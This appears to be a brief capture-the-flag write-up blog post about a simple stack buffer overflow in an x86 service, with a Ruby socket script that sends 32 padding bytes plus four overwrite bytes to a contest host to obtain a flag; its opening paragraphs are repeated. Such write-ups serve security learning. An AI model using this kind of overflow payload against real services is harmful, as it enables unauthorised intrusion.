Task:
This is x86 binary let's decompile it. Main action takes place in the serve function.
There is 32-byte buffer on the stack however server reads up to 36 bytes into it. We have to overwrite the value next to the buffer on the stack so this is simple buffer overflow task.
Script that do the job:
We have a simple service that accepts our input and if it doesn't allow us to get a flag it shutdowns the connection.nc ctf.sharif.edu 61451
This is x86 binary let's decompile it. Main action takes place in the serve function.
There is 32-byte buffer on the stack however server reads up to 36 bytes into it. We have to overwrite the value next to the buffer on the stack so this is simple buffer overflow task.
Script that do the job:
require "socket" sock = TCPSocket.new("ctf.sharif.edu", 61451) sock.puts(("a" * 32) + "\x67\x31\x76\x33") 10.times do puts sock.gets end sock.closeWhich printed flag at the CTF, however now services are seems to be down, so I've lost a flag :).
No comments:
Post a Comment